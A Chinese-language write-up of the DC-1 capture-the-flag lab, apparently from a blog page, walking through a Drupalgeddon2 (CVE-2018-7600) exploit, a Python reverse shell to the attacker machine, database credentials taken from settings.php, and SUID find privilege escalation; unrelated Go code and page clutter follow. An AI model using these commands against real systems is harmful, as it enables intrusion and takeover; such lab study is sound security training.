DC: 1

渗透思路:

nmap扫描----利用Drupal 7的RCE(CVE-2018-7600)getshell----python反弹shell----非渗透路径:Drupal配置文件中找到数据库用户名密码----非渗透路径:数据库中找到flag3、/home/flag4下发现flag4----suid权限的find命令提权

环境信息:

靶机:192.168.101.74

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.74

2、利用Drupal 7的RCE(CVE-2018-7600)getshell

从nmap对80端口的扫描结果中可以看出,网站是基于Drupal 7的。

https://www.exploit-db.com上搜索Drupal 7发现一堆漏洞。由于网站需要登录,但目前又不知道用户名密码,所以排除掉一大批需要身份认证的exp。对最后剩下的几个RCE的exp进行进一步研究,主要是看涉及的url是否可访问,最终锁定Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution - PHP webapps Exploit,也就是下图中高亮的这个。

或者也可以在kali上用searchsploit命令搜索,这里仅给出命令,就不详细说了

searchsploit drupal 7
searchsploit -p php/webapps/44449.rb    #查找exp在系统上的绝对路径
cp /usr/share/exploitdb/exploits/php/webapps/44449.rb 44449.rb  #拷贝exp到当前目录

exp的名字叫44449.rb,在攻击机上执行

ruby 44449.rb

发现无法执行,且报错信息看上去像是无法载入文件highline/import

在exp中全局搜索,似乎没有地方需要用到import,所以索性把这行删掉(下图中16行)

然后再执行,发现需要以网站url作为参数

根据用法提示执行

​ruby 44449.rb http://192.168.101.74/

很快就得到了靶机shell,并且还发现了第一个flag:/var/www/flag1.txt

flag1.txt中提示每个好的CMS都有config文件,这个也有

3、得到python反弹shell

上一步中得到的靶机shell不能切换目录,所以还需要获取反弹shell。

由于上一步中得到的shell中不能重定向(>),所以用不包含重定向符号的python语句获取反弹shell

首先攻击机上nc监听8888端口

nc -nlvp 8888

然后在上一步得到的shell中执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

攻击机上获得靶机的反弹shell

4、Drupal配置文件中找到数据库用户名密码

根据flag1.txt中的提示,先找到Drupal的配置文件settings.php

find ./ -name settings.php

发现其相对路径为./sites/default/settings.php

查看这个配置文件,发现flag2,暗示权限不需要通过暴力破解获取,下面紧跟着就是数据库配置信息,很难不让人觉得flag3在数据库中。

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

靶机shell中执行

ss -antp

发现靶机上起着mysql(3306端口)

使用/var/www/sites/default/settings.php中发现的mysql用户名(dbuser )和密码(R0ck3t)进行连接

mysql -u dbuser -p

连接成功

依次输入

mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;

发现两个用户:admin和Fred,以及他们密码的散列

尝试解密密码散列并没有解出来

5、数据库中找到flag3

继续在数据库中找flag3,从网上的资料来看,网站内容是和节点node相关的,查看node相关的表中是否有flag3

mysql> select * from node;

虽然找到了flag3,但是仅仅是页面标题是flag3,其内容仍然不知道

在网上没找到网页内容在哪个数据表里,搜了几个看起来像的表之后发现好多表都是空的。

突然灵机一动,先把所有非空的表找出来

mysql> SELECT TABLE_NAME,TABLE_ROWS FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'drupaldb' AND table_rows > 0;

由于node表中数据行数为2,所以先在TABLE_ROWS为2的表中找,我运气好,一次就找到了

mysql> select * from field_data_body;

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

6、/home/flag4下发现flag4.txt

根据flag3中的提示想到了/etc/passwd文件

cat /etc/passwd

在该文件中发现了名为flag4的用户

尝试进入/home/flag4,发现该目录下有flag4.txt

7、find suid提权

从flag3的提示中还想到可能应该用find命令找有suid权限的命令

find / -user root -perm /4000 2>/dev/null

查找find | GTFOBins,发现find有suid权限时可以提权

find . -exec /bin/bash -p \; -quit

进入/root目录,发现thefinalflag.txt

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
func (c *cAsset) GetComponentList(r *ghttp.Request) {var req *v1.GetComponentListReq if err := r.Parse(&req); err != nil {r.Response.WriteJson(g.Map{"code": 1,"msg": err.Error(),})} filtering := &creativecomponent.GetFiltering{ComponentID: req.ComponentId,ComponentName: req.ComponentName, ComponentTypes: []enum.ComponentType{},Status: []enum.ComponentStatus{},} getRequest := &creativecomponent.GetRequest{AdvertiserID: req.AdvertiserId,Page: req.Page,PageSize: req.PageSize,Filtering: filtering,} res, err := service.Asset().Get(getRequest) if err != nil {r.Response.WriteJson(g.Map{"code": 2,"msg": err.Error(),})} r.Response.WriteJson(res)} 这段代码中GetComponentListReq的过滤条件为type GetComponentListReq struct {g.Meta path:"/get_component_list" tags:"查询组件列表" method:"post" sm:"组件列表"AdvertiserId uint64 json:"advertiser_id" v:"required" dc:"广告主id" Page int json:"page" dc:"页码" PageSize int json:"page_size" dc:"每页数量。默认值20,最新值10,最大值40" ComponentId uint64 json:"component_id" dc:"组件id" ComponentName string json:"component_name" dc:"组件名称" ComponentTypes string json:"component_types" dc:"组件类型" Status string json:"status" dc:"组件审核状态" } creativecomponent.GetRequest的过滤条件为type GetRequest struct { AdvertiserID uint64 json:"advertiser_id,omitempty" Page int json:"page,omitempty" PageSize int json:"page_size,omitempty" Filtering *GetFiltering json:"filtering,omitempty" },GetFiltering的过滤条件为type GetFiltering struct { // ComponentID 组件ID ComponentID uint64 json:"component_id,omitempty" // ComponentName 组件名称。支持模糊查询 ComponentName string json:"component_name,omitempty" // ComponentTypes 组件类型,不传查全部。 ComponentTypes []enum.ComponentType json:"component_types,omitempty" // Status 组件审核状态,不传查全部。 Status []enum.ComponentStatus json:"status,omitempty" }。现在想要把ComponentTypes参数放到[]enum.ComponentType{}中,Status参数放到[]enum.ComponentStatus{}中,使代码能够运行,该怎么做?请详细一点
最新发布
07-20

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值